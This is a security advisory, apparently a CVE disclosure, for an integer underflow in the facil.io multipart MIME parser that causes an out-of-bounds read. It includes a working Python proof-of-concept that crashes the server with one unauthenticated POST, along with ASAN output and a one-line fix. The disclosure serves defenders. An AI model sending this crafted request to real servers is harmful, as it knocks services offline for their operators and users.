
Security Advisory: Out-of-Bounds Read in facil.io MIME Parser leads to Server crash
Identifiant CVE attribué CVE-2026-66729
Produit : facil.io
Versions concernées : facil.io >= 0.6.0 (toutes les 0.6.x, toutes les 0.7.x, master) ; introduit lors de l'ajout de l'analyseur MIME en 0.6.0
Composant : lib/facil/http/parsers/http_mime_parser.h
CWE : CWE-191 (sous-dépassement d'entier), CWE-125 (lecture hors limites)
CVSS v3.1 : 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Chercheur : Theodosis Paidakis
Un sous-dépassement d'un uint32_t dans l'analyseur du corps MIME multipart provoque une lecture hors limites lorsqu'un en-tête Content-Disposition contient un nom de champ vide (name=;). Lorsque name_len est nul, name[name_len - 1] devient name[0xFFFFFFFF], ce qui lit environ 4 Go au-delà du pointeur name. Cela provoque une faute mémoire et fait planter le processus serveur. Une seule requête POST non authentifiée suffit.
lib/facil/http/parsers/http_mime_parser.h, lignes 235-241
// lib/facil/http/parsers/http_mime_parser.h:235-241
} else {
name_len = (size_t)(start - name); // line 239: = 0 when start == name (e.g. "name=;")
}
if (name[name_len - 1] == '"') // line 241: (uint32_t)0 - 1 = 0xFFFFFFFF -> OOB read
--name_len;
name_len est déclaré comme uint32_t. Avec l'entrée name=;, memchr trouve ; à la même position que name, donc start - name = 0. Soustraire 1 d'un uint32_t nul donne 0xFFFFFFFF par dépassement. L'expression name[0xFFFFFFFF] calcule name_ptr + 4294967295, ce qui est bien au-delà de toute région mappée.
La vérification à la ligne 236 (name[name_len - 1] == '\r') dans l'autre branche suit le même schéma, mais name_len y est calculé comme end - name et n'est pas nul en pratique.
Démarrez le serveur, puis exécutez :
# poc_mime_oob_read.py
import socket
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=;\r\n" # empty name before semicolon
"\r\n"
"value\r\n"
"--B--\r\n"
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.connect(("127.0.0.1", 3000))
s.sendall(req)
print(s.recv(4096)) # no response — server crashed
print('Check the server')
Sortie ASAN (confirmée) :
AddressSanitizer: BUS at http_mime_parser.h:241
x[10] = 0x00000000FFFFFFFF
Une seule requête fait planter le processus worker. Dans les déploiements multi-workers, seul le worker concerné meurt ; le master le relance. En mode mono-worker, le serveur se met hors ligne. La lecture provoque une faute avant que des données ne soient renvoyées ; aucune divulgation d'informations n'a donc été démontrée.
lib/facil/http/parsers/http_mime_parser.h, ligne 241
// lib/facil/http/parsers/http_mime_parser.h:241 — add zero guard
if (name_len > 0 && name[name_len - 1] == '"')
--name_len;